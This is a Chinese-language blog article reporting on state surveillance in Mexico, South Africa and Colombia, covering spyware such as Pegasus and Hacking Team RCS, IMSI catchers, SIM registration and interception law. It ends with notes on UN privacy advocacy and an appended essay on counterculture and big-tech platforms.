R3D 在2016年11月发布的一份报告显示，墨西哥当局要求访问通信数据的请求数量显著增加。该报告称监视“失控”。

2、恶意软件入侵

2015年，来自意大利臭名昭著的监控技术公司 Hacking Team 的内部文件遭到了黑客攻击，并向公众开放。泄漏中的信息显示，⚠以下这些墨西哥政府机构购买了监视技术以拦截私人通信：

- Durango, Querétaro, Estate of Mexico, Puebla, Campeche, Baja California, Tamaulipas, Nayarit, Sonora 和 Yucatán 的地方政府；
- 海事部；
- 军队;
- 联邦警察；
- 墨西哥的国家检察官办公室；
- CISEN;
- PEMEX（墨西哥石油机构）。

⚠媒体披露，墨西哥政府是这家意大利监控公司的第一大客户，所购买的技术包括 Hacking Team 的远程控制系统**“Da Vinci”**产品、以及用于监视社交网络和邮件服务的其他恶意软件，针对的服务包括 Facebook、Twitter 和 Gmail —— 都是用户量最大的服务。

同样，在2014年，众所周知，⚠墨西哥政府从芬兰公司 **NetHawk** 获得了对手机进行窃听的技术。

迄今为止，政府仍未通知公众该技术将在何种条件下被使用，用于何种目的，由哪个实体使用。以及其部署的法律依据。一无所知。

2017年2月，公民实验室进行的一项 调查 显示，⚠更加臭名昭著的以色列监控巨头 NSO 集团的政府专用间谍软件被用于针对墨西哥政府食品科学家和两名致力于对抗肥胖的公共卫生倡导者进行间谍活动。

该间谍软件还针对调查官方腐败问题的著名调查记者拉斐尔·卡布雷拉（**Rafael Cabrera**）为目标 。

2017年中，Citizen Lab 和 R3D 揭示了有关政府监视目标的更多详细信息 。

⚠被重点监视的人员 包括调查学生大规模失踪案的律师、 反腐败活动家，有影响力的记者、和一名代表遭受警察性虐待受害者维权的美国人， 据“纽约时报”报道。

2017年12月，联合国和 IACHR 言论自由特别报告员共同 呼吁墨西哥政府 对间谍软件的使用进行独立调查，并建立法律框架以保护个人免于遭任意的和秘密的间谍行为。

然而，似乎没用。

在2018年，发现了 NSO 集团最著名的恶意软件 Pegasus 被用于监视

的新案例。

- 关于 Pegasus《以色列 NSO 生产的间谍软件 Pegasus 在45个国家被用于监视和攻击异议人士及活动家—⚠ 亚洲有香港》
- 《以色列的监视技术出口为什么不同？》
- 《被残害的记者 Khashoggi 的沙特朋友起诉以色列监视技术公司》
- 《有关以色列恶意软件开发商 NSO 集团的更多丑闻已浮出水面》
- 更多《关于以色列和NSO》

首先在2018年9月， CitizenLab 发布了一份新报告， 提供了进一步的证据，表明 NSO 集团的 Pegasus 间谍软件在墨西哥仍然活跃，即使在揭露了针对 #GobiernoEspía 案的人权捍卫者和记者的监视之后。

然后在2018年11月，纽约时报、公民实验室、 R3D 的报道中都指出，在 Ríodoce 报纸的共同创始人哈维尔·瓦尔德斯（Javier Valdez）被谋杀后的几天，该报两名记者遭到 Pegasus 袭击。

- 这个案件中文版在这里《不要相信你最关心的消息！》

即使先前的滥用案例已经被公开，但恶意软件攻击还在持续发生。这似乎显示出墨西哥政府完全无视**NSO**集团的恶臭。

尽管2018年出现了进一步的证据，但墨西哥仍未接受建立国际监测机制的要求，当局甚至仍未公开与 Pegasus 恶意软件的合同和使用有关的文件。

- 《政府间谍软件监控公民行为举世瞩目，为什么墨西哥当局至今没有调查进展？》

身份跟踪 ——

1、身份证和数据库

墨西哥的国家身份证计划被称为唯一人口注册代码（Población的avenica de Registro，简称“ CURP”）。

CURP 号码适用于墨西哥的所有居民、居住在国内的外国人、以及居住在其他国家的墨西哥人。

要申请 CURP，个人必须提供身份证明文件的副本（例如出生证明，入籍信或移民文件）。

CURP当前在许多部门中使用，包括税收管理系统（在税收识别卡的注册上、在年度所得税上），教育部门（在学校记录和证书上）、以及在兵役管理部门（在兵役卡上）。

2、选民登记

选举卡（“ credencial del INE”）也是一种被广泛接受的官方身份证。

要获得选举卡，墨西哥公民必须出示其证件或国籍证明，带有照片的身份证件，以及住址证明。

3、SIM卡注册

强制性 **SIM** 卡实名注册是2009年在墨西哥根据国家移动电话用户注册局（RENOUT）要求规定的。

该计划要求新用户在购买手机或签署电话使用合同时必须提供指纹。

然而，它在2012年被废止，联邦信息与数据保护研究所（IFAI）要求销毁包含在注册表中的所有墨西哥人的个人数据。

智能城市 ——

2016年，墨西哥普埃布拉市举办了智能城市博览会、智能城市技术展览会、和“关于城市现实与技术革命之间联系的国际讨论会”。还于2017年6月举行了另一届博览会。

在这里看到完整报告：“El Estado de Vigilancia. Fuera de Control” (in Spanish)

南非：挑战老大哥

「图」

“知情权运动（R2K）”一直在多个方面挑战南非的国家监视。

通过在全国范围内举行的多次简报、分析和讨论活动，他们的研究主要集中在 RICA（通信截取规定和与通信相关的信息的提供）法案

上。

在 RICA 规定中（与 Derechos Digitales 的研究一致）授权创建SIM卡注册数据库。

研究报告首先指出："严格执行 SIM 卡实名注册可能对穷人、我们国家的经济增长、每个人的私人信息的安全、以及最后但并非最不重要的—您信用记录，具有毁灭性影响"。

这些问题是由 R2K 和 Privacy International 在向联合国普遍定期审议工作组提交的联合呈件中提出的，该过程引起联合国对南非提出了有关其监视做法的两项建议，并呼吁对其情报机构进行监督。

南非共和国宪法第14条承诺保护隐私权；而且，《个人信息保护法》（2013年第4号法令）是规范南非数据保护的主要手段。

但是，大规模法外监视被曝光时……哎呀。

关于元数据的规定 ——

主要的通信监视法 RICA 区分了通信内容和元数据，该法案将其定义为"与通信相关的信息"。

⚠RICA要求所有电信和互联网服务提供商保留所有用户的元数据至少三年。防止元数据被拦截的保护措施远低于通信内容的保护措施。

根据该法案，超过90天的元数据被归类为"存档"信息，⚠执法机构可以向任何高等法院法官或地方法官寻求拦截指示。

2017年5月进行的一项调查显示，根据 RICA 第15条，执法人员经常使用《刑事诉讼法》第205 条来处理数量惊人通话数据记录。

根据第205条的规定，执法人员可以向高等法院法官、地方法院检查官申请获取记录的授权。

在权利组织"知情权"运动提出质疑之后，南非主要的移动服务提供商（Vodacom，MTN，Cell C 和 Telkom）透露，⚠他们已经根据205条的执法要求集体披露了**70,000**个用户呼叫记录。

⚠法律没有规定要通知某人其通讯已经被截获，而 RICA 还禁止任何人透露有关通信拦截方向的任何信息。这意味着用户不仅不会收到通知，服务提供商也不会发布合规性报告。

2018年，Right2Know 运动对三大网络运营商（MTN，Cell C 和 Telkom）采取了法律行动，因为三大运营商拒绝了信息自由法方面的请求。

监视行为者 ——

所有国家情报机构均受《国家战略情报法》管辖。这规定秘密搜集情报只能由这些机构进行，《南非宪法》第11章对机构成员的行为制定了广泛的规定。

1、国家安全局（SSA）

国家安全局（SSA）是南非政府的文职情报机构。SSA 成立于2009年，由负责国内情报收集的国家情报局（NIA）和负责外国情报收集的南非特勤局（SASS）合并而成。

SSA 一直因其扩大化的国内间谍任务而备受批评。

2013年，《通用情报法修正案》获得通过，修订和更新了一系列影响情报结构的法律。

修正案之一是专门从国家安全任务中排除了与“合法政治活动、倡导、抗议或异议”有关的事项。但是，很明显，⚠情报机构将继续监视合法的政治活动并总体上收集政治情报。

而且，**SSA** 正在进行法外监视。

据称 ，该部门的流氓特工正在利用国家资源开展“肮脏的运动”。Rapport 和News24 在2017年末进行的一项调查发现，⚠SSA 自2012年以来在“非常规支出”上花费了超过10亿兰特（约合7210万美元）。

2018年，西里尔·拉马福萨（Cyril Ramaphosa）总统 任命了一个由前情报人员和学者组成的专家小组，负责审查国家安全局的职能和运作。

2、犯罪情报处（南非警察局）

犯罪情报处（CID）是南非警察局的一个部门。尽管其详细任务没有写入法律，但已知 CID 负责收集有关犯罪活动的情报，支持警察调查并提高打击犯罪工作的效率。

犯罪情报局还有权使用监视、以及进行秘密行动。

- 《什么是秘密行动》

⚠犯罪情报局还投入大量但尚未量化的资源来监视参与抗议和其他政治活动的社区组织。

自2017年以来，国家监督机构独立警察调查局已对多名前犯罪情报局官员发起了一系列刑事诉讼，指控他们涉嫌腐败和滥用国家资源。值得注意的是， 这其中包括关于情报储备金 被用来影响非洲人大选举的指控。

3、国防情报部（南非国防军）

隶属于南非国防军的国防情报部是军事情报机构。国防情报部的公众形象有限 —— 非常隐秘。

4、侦听中心办公室（OIC）

侦听中心办公室（OIC）是根据RICA成立的，隶属于SSA。

⚠它以RICA的形式为执法机构提供通信拦截服务，并管理从互联网服务提供商和网络运营商到执法机构的数据“移交”。

5、国家通讯中心（NCC）

国家通信中心（NCC）是用于拦截和收集电子信号的国家机构，并且属于SSA。

根据调查报告，⚠**NCC** 具有大规模监视能力，不受法律管制，因此可以随意违宪。

外交部两次通过立法，力图在法律上承认 NCC。第一次，该法案被撤回；在第二次的情况下，相关条款经审议后被删除。

6、私营部门的监视行动

众所周知，许多南非公司提供通信监视服务或软件，尽管它们在南非的业务范围尚不明确。

⚠特别是与南非政府有关联的两家公司是：VASTech 和iSolv Technologies。

VASTech SA Pty Ltd 是一家南非公司，设计和销售能够进行大规模监

视的硬件和软件。

尽管尚不清楚其完整的客户清单，但在2011年，VASTech 出现了将其技术出售给利比亚的 Gadaffi 政权的情况。

2013年，Privacy International 的研究显示，⚠南非政府已向 **VASTech** 提供了公共资金来开发其监视产品，这促使人们猜测南非政府也可能是 VASTech 的客户。VASTech之前也活跃于叙利亚。

iSolv 是另一家南非公司，提供与“合法拦截”和“目标监控”相关的产品和服务。

在iSolv网站上，一个名为 CS Intercept 的产品被广告宣传为“一种多功能的、专用的设备，用于拦截和过滤电信网络”。

7、大规模拦截

2008年的调查发现，南非政府通过国家通讯中心（NCC）拥有“批量收集” 能力，该中心是政府拦截和收集电子信号的国家机构。

报告指出，NCC 能够对各种形式的信号进行 “大量收集”，⚠而这些形式似乎包括对电信的大规模监控，包括通话、电子邮件、短信和各种数据，而无须司法授权或其他保障措施。

IMSI 捕手（黄貂鱼）——

- 《如何应付政府使用黄貂鱼对公民进行的大规模间谍行为？#反监视技术》

大量证据表明，南非警察以及可能的其他安全机构都可以使用IMSI捕手，也就是黄貂鱼。黄貂鱼在当地被成为“掠夺者”。

IMSI 捕获器是模仿设备信号塔操作以诱使用户的手机交出可识别个人身份的数据。

尽管尚不知道南非政府使用的特定设备类型，但近年来，IMSI捕获器技术已经变得更加复杂，据报道可以拦截语音、**SMS**和数据。

- 《黄貂鱼的崛起》
- 还有一个更高级的黄貂鱼，可以放在衣袋里，这东西在中国，见《IBM和谷歌如何通过中国协助独裁政权的间谍行为？》

2018年， 南非荷兰语报纸 Rapport 上的一份匿名来源报道称，⚠军方的国防情报部门从中国供应商那里采购了一辆移动监视车，其中可能包括 “掠夺者” 技术。

间谍软件 ——

有证据表明，间谍软件已被南非的国家或私人行为体使用。

⚠FinFisher 是由英国监视软件公司 Gamma Group 开发并由德国公司 FinFisher GmbH 出售的木马软件。

⚠一旦被秘密地安装在用户设备上，**FinFisher** 就能够拍摄屏幕快照、记录音频和击键、以及进行其他侵入性的数据收集。

CitizenLab 的研究首次在2013年检测到 FinFisher 在南非服务器上的存在，而 Wikileaks 记录到 FinFisher 代表在2012年和2013年访问了南非。

2015年，调查电视节目 Carte Blanche 报道**FinFisher**可能已被南非的秘密情报部门使用。

并且，2018年， 一份《公民实验室》报告 记录了⚠以色列制造的 Pegasus 间谍软件可能也在南非网络中存在的情况。

身份追踪 ——

1、身份证和数据库

从2013年开始，引入了新的南非智能卡ID。这包括一个包含全套信息的芯片，例如指纹。

尽管既不是强制性的注册，也不是必须携带的身份证，但是实际上，许多民用功能都需要此注册 —— 就如中国那样，没有此卡的人寸步难行。

详细信息存储在全国识别系统（HANIS）中。

2、选民登记

与非洲许多国家不同，迄今为止，南非几乎没有引入生物特征选民登记系统的压力。

选民注册需要一个正式的身份证。

3、SIM卡实名注册

根据2002年《拦截通信法》（RICA），所有SIM卡 —— 无论是用于移动电话还是用于数据存储，都必须通过该人员的服务提供商在该地区进行注册。

南非公民必须提供其真实姓名、地址和身份证号码。对于非公民来说，则需要提供姓名、地址和护照号码。

社交媒体情报 ——

2017年9月的报道说，警察部长 Fikile Mbalula 向新的犯罪情报负责人 Ngcobo 少将发出指示，⚠指示他增加对南非公民和居民的“数据挖掘”。

此后，姆巴卢拉（Mbalula）被解除了部长职务，但是，调查报告表明，数据挖掘仍在进行中。

调查记者海蒂·斯瓦特（Heidi Swart）得出的结论是，⚠一种名为 **Media Sonar** 的社交媒体分析工具（由加拿大一家同名公司生产和分发）通过私营部门在南非出售，并且可能被政府机构使用。

在南非，2013年的《个人信息保护法》将对此类活动进行了规范，但是由于根据该法新成立的执法机构信息监管机构在运营方面存在重大延误，因此截至2018年11月尚未生效。目前尚没有明确何时启动信息监管的时间表。

在这里看到完整版报告：“Missed Call: Rica registration ‘useless’ for crime prevention purposes”

哥伦比亚：过渡时期的隐私权危机

「图」

随着2016年《和平协定》的签署，哥伦比亚面临新的挑战和问题。

其中之一就是关于隐私在过渡环境中意味着什么。

DeJusticia 一直在探索这些棘手的问题。已经出现的中心问题是，如何处理在过去的四十年中情报档案里注册的个人数据。

哥伦比亚的宪法包含对隐私权的明确保护（1991年宪法第15条）；而且哥伦比亚有两项数据保护法：2008年第1266号法律、和2012年第1518号法律。哥伦比亚的数据保护机构是工商联合会（SIC）。

但是，警察从事间谍活动的指控依旧令人困惑。

监控能力 ——

哥伦比亚既主持又参加了许多监视技术的贸易展览。

ISS World 是最大的贸易展览之一。哥伦比亚警察于2012年参加了 ISS World，其中有3家哥伦比亚公司展示了他们的产品：Biotekne SAS、哥伦比亚 ASOTO 技术集团、以及其 Esperanza 监视系统，还有 Inteligencia＆Tecnología（STAR）的供应商。

⚠由以色列驻波哥大大使馆赞助的年度 Cibercolombia 贸易展览会主要展示以色列的监视产品。

⚠哥伦比亚的许多监视设备由国际公司、尤其是美国公司提供。

据报道，在过去的十年中，向哥伦比亚情报部门的精英部队提供的美国资金、设备、甚至还有培训，被用来监视最高法院的大法官，时任总统阿尔瓦罗·乌里韦的政治反对者、和民间社会团体。

在哥伦比亚和美国中央情报局（CIA）针对**FARC**的秘密行动中，拦截通信至关重要。

⚠以色列也是重要的监视技术供应国。

至少从2005年起，以色列公司 Verint Systems 就提供了情报部门 DAS、DIPOL 和 DIJIN 所使用的关键侦听基础设施。

国家情报部门 **DAS** 使用的软件是取证工具包（**FTK**），这是由位于美国的**AccessData**生产的计算机取证软件。该软件的远程功能使分析师能够进行远程分析，以法医技术分析实时数据。

⚠该软件还可用于解密 **PGP** 加密的磁盘。

黄貂鱼 ——

隐私国际组织的一项调查显示，许多公司在哥伦比亚提供IMSI捕手移动监视设备 。

总部位于新西兰的 **Spectra Group** 通过哥伦比亚公司 Maicrotel Ltda 在2005年9月向情报机构 DIPOL 提供了其 Laguna IMSI 捕获器。

英国监视公司 **Smith Myers** 制造的 Bulldog 和 Nesie 是在哥伦比亚出售的另外两个受欢迎的IMSI捕手。

2010年，DAS 准备以**25**万美元以上的价格购买 Bulldog 拦截系统，并以32万美元以上的价格购买 Nesie 监视系统。

Fiscalía 还计划以略高于280,000美元的价格购买 Bulldog 监视系统，DIJIN 在波哥大的部门也是如此。

2014年，加拿大电信公司 **Exfo** 的芬兰分公司将其 NetHawk F10 IMSI 捕手出口到了哥伦比亚。

据报道，哥伦比亚情报人员利用 IMSI 捕手追踪了哥伦比亚平民，并影响了周围居民的权利。

入侵恶意软件和黑客攻击 ——

意大利公司 Hacking Team 生产的入侵系统已被哥伦比亚警察收购。

⚠该公司的远程控制系统（RCS）可以绕过常见的防病毒程序和加密，因此可用于劫持计算机和移动设备，同时使用户无法察觉。

通过感染目标设备，**RCS**套件可以捕获目标设备上的所有数据，远程打开和关闭网络摄像头和麦克风，复制文件和输入密码。

2014年，Hacking Team 就有一名驻哥伦比亚的现场工程师，并与哥伦比亚警察签有有效合同。

Hacking Team 向DEA提供了其技术，据报道，内部电子邮件的曝光显示，该间谍部门使用间谍软件从美国驻波哥大大使馆进行监视。

公民实验室于2014年进行的一项调查得出的结论是，⚠自**2012**年以来，这些间谍技术已被发现实施针对新闻记者、维权人士、和人权捍卫者的袭击，并有证据表明这些技术至少在**21**个国家中得到了可疑部署，包括哥伦比亚。

Hacking Team 还与哥伦比亚警察有两个项目，其中一个似乎与PUMA监视系统有关。

哥伦比亚军队还雇用了黑客。在陆军情报与反情报学校（Escuela de Inteligencia y Contrainteligencia）军队训练学员进行黑客入侵。

网络拦截 ——

哥伦比亚最可见的通讯拦截系统是埃斯佩兰萨（Sistema Esperanza）；它得到了美国毒品执法机构（DEA）的大力支持。

总检察长办公室（FiscalíaGeneral de laNación，“Fiscalía”）管理和维护该平台，⚠该平台可以获取移动和固定电话呼叫的数据和内容。

各个执法机构都可以访问的拦截系统 **Esperanza** 已与该国的电信运营商相连接。它用于逐案获取司法起诉的证据。

⚠PUMA 于2007年从以色列监视公司 Verint Systems Ltd 收购，并由哥伦比亚公司 Compania Comercial Curacao de Colombia 维护。2013年，警方提出了扩展该系统的建议，声称扩展后的 **PUMA** 能够捕获到三倍多的电话和数据。

扩展后的 PUMA 包括一个针对互联网服务提供商（ISP）的监视模块，以及遍布全国的多达700个工作站。

扩展合同是与另一家以色列监视公司 NICE Systems 以及哥伦比亚公司 Eagle Comercial 签订的。然而，Fiscalía 和警方之间在管理上的分歧使扩张停滞不前，该项目被搁置。

此外，警察情报局（Direcciónde Inteligencia Policial，“ DIPOL”）还获得并部署了自己的大规模自动通信监视系统，即 综合记录系统（“ **IRS**”）。

IRS 创立于2005年，负责监控E1线路和3G移动电话的大量通信流量。

隐私国际组织对这些技术的分析是，⚠该监视系统每天能够收集1亿个呼叫数据记录，每天能够拦截2000万条SMS。然后处理庞大的数据存储、并将其与其他类型的数据（包括图像、视频和生物特征详细信息）组合。

监视实例 ——

自90年代以来，通讯拦截丑闻就是哥伦比亚维稳政治的一个特征。

⚠至少从1971年以来，当局一直在窃听电话线，近年来，监视在针对哥伦比亚革命武装力量的军事行动中发挥了重要作用。

据报道，在2011年，被截获的电话对找到哥伦比亚革命武装力量的最高领导人 Alfonso Cano 至关重要，后者已经在军事袭击中丧生。

据报道，军方使用 Esperanza 拦截系统找到了哥伦比亚革命武装力量的军事领导人 Mono Jojoy，后者后来也被杀害。

不仅如此，关于非法拦截私人通讯的报道充斥着法外失踪和杀戮的指控。有不同的机构参与了这些非法拦截。

在一个著名的案例中，超过2,000条电话线被军事警察 GAULA 非法窃听。

然而，最臭名昭著的拦截丑闻涉及DAS，并于2009年2月被 Semana 揭露。

⚠**DAS** 的特殊战略情报小组对大约**600**名公众人物进行了有针对性的监视，其中包括议员、记者、人权活动家、和律师、以及法官。

根据 Fiscalía 进行调查期间检索到的文件，**DAS**截获了电话、电子邮件流量、以及国际和国内的联系人列表，并使用这些信息来编制目标的心理概况，以便对受试者及其家人（包括儿童）进行贴身监视。

通信监视是DAS滥用的关键。记者霍尔曼·莫里斯（**Hollman Morris**）的电话受到近乎不间断的监视。莫里斯后来多次被迫流放。

克劳迪亚·杜克（Claudia Duque）是一名律师和新闻工作者，以前曾与 CCAJAR 律师团队合作，她虽幸免于绑架事件的发生，但是收到了电话暴力威胁。⚠DAS关于她的档案中包含有关通讯和物理监视的大量证据。

身份追踪 ——

1、身份证和数据库

哥伦比亚的人口登记处成立于1938年，由国家民事登记处（Registraduríadel Estado Civil）管理。

注册表由三个主要部分组成：出生、婚姻和死亡。

出生登记处除了记录一般的识别性信息（例如姓名、出生日期、父母的姓名、和身份，职业、以及负责出生时医疗程序的医生）以外，还记录了新生儿的脚印。

注册表信息由国家身份档案（Archivo Nacional deIdentificación ）和民事登记数据库（Base de datos del Registro Civil）管理。即使注册表是公开的，法律也对发行副本施加了限制，以保护隐私权。但是，与国家民事登记处达成协议后，官方和私人团体均可查阅国家身份证档案库。

自1970年以来，哥伦比亚的每个新生儿都被分配了一个唯一的识别码。

在2000年之前，该数字由两部分组成：第一部分是日期（例如，对于1984年7月1日出生的人而言为 840701），第二部分是5位数字，用于区分同日出生的所有人，并允许性别识别。

自2000年以来，标识符为10位数字。这些号码中的许多号码都分配给了每个登记处，登记处则将这些号码分配给新生儿或要求提供身份证的任何人。

哥伦比亚的成年年龄为18岁，这意味着该人具有充分的法律行为能力，可以在公开选举中投票。证明这种情况的媒介是身份证（“céduladeciudadanía”）。

2、选民登记

为了确保投票所需的身份证件，国家民政登记处进行了选举普查，并添加了未出现在登记中的满足合法年龄的人。

登记处还删除了死者的身份证、在国外的军事人员的身份证、以及由于确认的刑事判决而无法行使公共权利的其他人的身份证、和其他不合法身份证。

人口普查仅包含身份证号码。

3、SIM卡实名注册

目前，在哥伦比亚，SIM卡注册不是强制性的，但是有IMEI注册系统。

自2011年以来（根据2011年第2630号法令），哥伦比亚政府一直在

开发手机注册系统，旨在避免和阻止手机盗窃。

该系统有两个主要部分：IMEI数据库和验证方案。

IMEI数据库 ——

有两种数据库：白名单数据库和黑名单数据库。

白名单数据库包含允许在哥伦比亚移动网络上有效的IMEI。除了注册导入的设备外，该数据库还将IMEI与用户身份直接联系起来。因此，个人信息包括，例如：

- 全名;
- ID类型和编号；
- 地址;
- 联系电话。

电信运营商需要在以下任何来源或数据库上验证此信息：

- 国家身份证档案；
- 民事国家登记处；
- 信用历史和风险数据库；
- 运营商收集的数据库。

黑名单数据库中包含：

- 该设备被报告为失窃或丢失；
- 该设备的IMEI被认为是不规则的：格式不对，也没有合格证、或重复的；
- 设备未在白名单数据库中注册的。

⚠警察和司法机关以及ICT部门和电信监管机构等行政机关都可以访问包含此数据的数据库。此访问没有任何形式的监督。

验证系统 ——

由于IMEI可以重新编辑，因此对于监管机构和政府而言，上述两个数据库不足以防止手机失窃。为了调试数据库并最终确保每个合法IMEI都在白名单数据库中注册（这意味着用户标识），他们建立了一个验证系统。

验证系统要求所有运营商注意其网络上的每个IMEI活动。这是通过呼

叫详细日志分析来实现的。该过程分为三个步骤：

- 内部网络分析：每个运营商分析其CDR；
- 网络间分析：每个运营商将其CDR发送给运营商选择的第三方，第三方对其进行分析以发现重复项；
- 控制措施：对于每种类型的不规则IMEI（无格式、未经认证、重复），操作人员应采取监管机构定义的措施。

需要注意到，白名单数据库中包含IMEI、用户真实身份和电话号码的关联。

智能警务 ——

数十年的武装冲突导致哥伦比亚的监视技术产业蓬勃发展，尤其是CCTV、视频监视和生物识别技术。

2016年10月，麦德林市宣布已从日本**NEC**公司购买了生物特征面部识别技术。据报道，竞技场运营商已创建了一个足球迷黑名单，NEC系统将使用该黑名单与入口处的监控摄像头捕获的面孔进行比较。

更广泛地说，在2017年期间，负责组织、管理和规范哥伦比亚职业足球锦标赛（DIMAYOR）的私人实体在该国体育场内推进了其监视维稳战略。该策略包括为引入照片ID卡，以及安装带有生物识别控制如指纹识别设备和面部识别的摄像头和门禁。

在这里看到详细报告：“Acceso a los archivos de inteligencia y contrainteligencia en el marco del posacuerdo” (in Spanish)

如何在联合国争取隐私权

「图」

《世界人权宣言》（第12条）和《公民权利和政治权利国际公约》（第17条）都包含了隐私权。

近年来隐私权在联合国已经成为中心焦点。联合国大会在2013年和2014年通过了有关数字时代隐私权的决议，继而人权理事会建立了促进和保护隐私权的专门机制，2015年引入了联合国隐私权问题特别报告员。

此外，其他特别报告员更加关注非法干扰隐私的影响，特别是在通信监视的情况下；人权事务委员会加强了对《公民权利和政治权利国际

公约》缔约国隐私权的审查；普遍定期审议机制的建议开始引起人们对监视和人权的关注。

隐私国际组织及其合作伙伴组织对这些事态的发展起到了重要作用，向这些人权机构提供了主题简报，并呼吁联合国更多地关注隐私权。

以下是一份简报，着重介绍了非政府组织有机会向某些选定的联合国人权机构提出与隐私权有关的问题，这些机构的任务和能力是监测、提供建议和补救措施。

该简报会根据国际隐私组织的经验提供了一些示例，并指向其他资源和指南。

尽管这些指南的重点是非政府组织的工作，但是完全可以通过其他民间社会参与者以及个人向联合国人权机制提供信息。

希望能对中国社会的反抗者有所帮助。

中国是全球最大的监视国家之一，在这里看到《美国和中国在监视公民方面引领全球》；但中国的监视状态绝不是特殊的 —— 您在上面看到的那些案例中每一个都和中国很相似，甚至更严重，但是都得到了联合国的重视和帮助。

此前我们已经发布过一个经验《非政府组织如何与联合国人权委员会合作以改善国家的人权状况？》；下面是隐私国际组织介绍的经验 —— 这是全球最好的隐私权组织之一：《HOW TO TALK ABOUT THE RIGHT TO PRIVACY AT THE UN》。○□

原文

不，互联网并没有杀死反文化 -- 您只是在寡头服务上找不到它 - iyouport

为什么社会反抗和思考长读

当互联网，一个巨大的有利可图的资本化空间，从其用户的个人表达和政治冲突中获利时，当年的朋克、哥特、Gabber或新异教主义们能够颠覆的是什么？

当监视资本主义是全球主流文化时，匿名和加密就是反文化抗争；当忠诚保密的专制文化盛行时，透明度革命就是反文化抗争；当巨头公司的社交媒体是主流文化时，Signal和Wire等加密群组就是反文化抗争 ……

反文化是一项直接行动。在当下时代重启反文化行动，格外重要。我们去年发布过这本书，《走向反文化：摆脱奴役，做真正对每个人的生活有意义的工作》您可以在这里下载。

> “在一个科技霸权的时代，要想真正做到反文化，首先必须背叛平台，这需要是以背叛或剥离您的公共在线自我的形式出现的。”

在谷歌图片上搜索“反文化”，绝大部分都是现在已经超过60岁的人们年轻时候的黑白照片。在这些照片中，他们所反击的东西是如此的清晰：当然是那种人，坚挺的白色衣领、白皮肤和紧密的短发，象征着主流文化规范。

在社交媒体时代，个人表达已经成为最有价值的货币形式，但我们仍然使用“反文化”一词来描述对昔日霸权势力的替代，仿佛中产阶级、白人和常春藤学子们的标准打扮在今天仍然符合权力规则。

在一个巨头科技公司比民选政府更深刻地组织起来的时代，要对抗的新文化不是单一的或自上而下的，它是根状的、非二元的，包括所有生活在谷歌/苹果/Facebook/亚马逊的数字生态系统（GAFA）中的人。

随着数字平台将传统的反文化活动转变为有利可图的、高参与度的所谓内容，“反文化” 不再意味着反霸权。

当互联网，一个巨大的有利可图的资本化空间，从其用户的个人表达和政治冲突中获利时，当年的朋克、哥特、Gabber或新异教主义们能够颠覆的是什么？

就在最近的90年代初，排斥和极端的亵渎仍能很好地击退当时的巨大社会威胁：那些坚持反进步的意识形态和保守派。例如，音乐家 GG Allin 穿着美国国旗腰带，与他的观众打架，在舞台上拉屎，然后开始表演 “我要强奸你”，或者音乐家博伊德·赖斯 (Boyd Rice)，这些艺术家（就像过去的迷幻嬉皮士那样）是真正的反文化 —— 用文化来对抗文化，以违抗霸权主义的推动，在 Allin 和 Rice 的例子中，就是新自由主义的 “责任化”。

然而，在今天的网络空间里，这种战略被打破了。

2018年，通过纽约市画廊的一个视觉上完全无害的抽象画展览，赖斯很快发现自己处于争议的中心，因为他几十年前的 Sassy 外观（以及其他此类特技）被当今的审查员所质疑。作为一个老朋克，他对这种愤怒嗤之以鼻。

他对 Artnet 说：“我这种人对纽约市来说太危险了”。然而，对于互联网来说，他并不太危险。关于他的工作和生活以及这位艺术商的道德指南针的紧张讨论，在网上肆虐，也就是说赖斯在网上获得了热烈关注。

尽管有数十亿的信息，但这种新的技术霸权并不民主；它是一种以群体为主导的准政府形式，旨在最大限度地提高参与度，同时掩盖其造成的社会和环境破坏的任何责任。扎克伯格、贝索斯、泰尔和其他科技巨头很快就提醒人们，他们不负责公共法律或政策；他们的帝国是根据自由市场资本主义的所谓 “和平机制” 建立的，社会通过自己的意愿采用了他们的工具和空间。如果被追问，他们会指出他们的平台如何反映了前几代人的反文化要求：摒弃大政府和垂直企业文化，同时鼓励个人成就感和扁平化的组织结构。今天，你可以成为一个编码员和DJ，一个Uber司机和一个旅游博客，一个硅谷精英或者一个另类玩家，或者任何东西。

同样滑稽的是权力的新面貌。与维克多·欧尔班、金正恩和唐纳德·特朗普等当今强人的阅兵式、宫殿和巨大的腰围相去甚远，你在大型科技集团中找到的最具标志性的宣称，更可能是一件黑色高领毛衣、一

件巴塔哥尼亚羊毛衫，没有提包。在视觉上无法与人群区分，这是一种灵活性。

今天的权力牢牢掌握在极简主义、克制和轻松之中 —— 只有受到威胁的权力才会转向身体上的力量展示。实际的权力是藏锋的、以展示较小权力为手段 —— 例如，祝贺你的民调数字获得50万个赞，@jack 仍然拥有你所有的推文。实际权力保持低调；实际权力并不需要社交媒体的存在，它拥有社交媒体本身。

近年来，用户已经开始注意到这种转变。然而，反文化这个词仍然被用来描述像说唱歌手 Tekashi 6ix9ine 这样的人，他的恶名 —— 首先是打破了社会准则（性虐待和谋杀阴谋，以及其他罪行），然后是街头的缄默法则 (Omertà)（告发帮派成员以减轻自己的刑期）—— 把他推向了 “超级明星” 的地位。他出乎意料地在出狱后发布的 “Gooba” 一曲，创造了YouTube的历史新纪录，成为了24小时内观看人数最多的说唱视频，直接炸毁了该平台的浏览计数器。同一天，200万用户同时收看了他的Instagram直播，他对着手机摄像头忏悔：“我告密了，我出卖了。但我应该对谁忠诚呢？” 然后，随着VVS钻石的闪耀，他说 “我打破了YouTube。我在一小时内达到了500万次浏览量。[……] 一个 败类的浏览数字都比你多。数字不会说谎”。

但是，在 **6ix9ine** 的自我忠诚背后，是对该平台的不知不觉的忠诚，进而是对 **Alphabet** 和 **Facebook** 公司股东的忠诚。而这正是问题的关键所在。在今天这个科技霸权的时代，要做到真正的反文化，首先必须背叛平台本身，这很可能是以背叛或剥离你的公共在线自我的形式出现的。

6ix9ine 只是亚文化，但他并不是反文化。相比之下，像爱德华·斯诺登这样的人不是亚文化，但可能是我们在后数字时代最接近的反文化人物。

斯诺登是美国政府的分包商，可以接触到机密情报，他看到了科技巨头公司急剧扩大的权力，并在2013年揭露了国家安全局与主要科技平台的非法协议，以拦截私人电子邮件、通话记录和世界各地用户 “几乎在互联网上做的任何事” 的缓存。

斯诺登的吹哨针对的是新霸权的一个主要脉络，这个新霸权造成了巨大的个人损害。

但一个人并不是整个反文化。

反文化需要一个团体。我们对抗世界。而互联网在将群体聚集在一起进行集体反对方面非常出色。但就像互联网一样，这些工具本身并没有什么社会进步性。

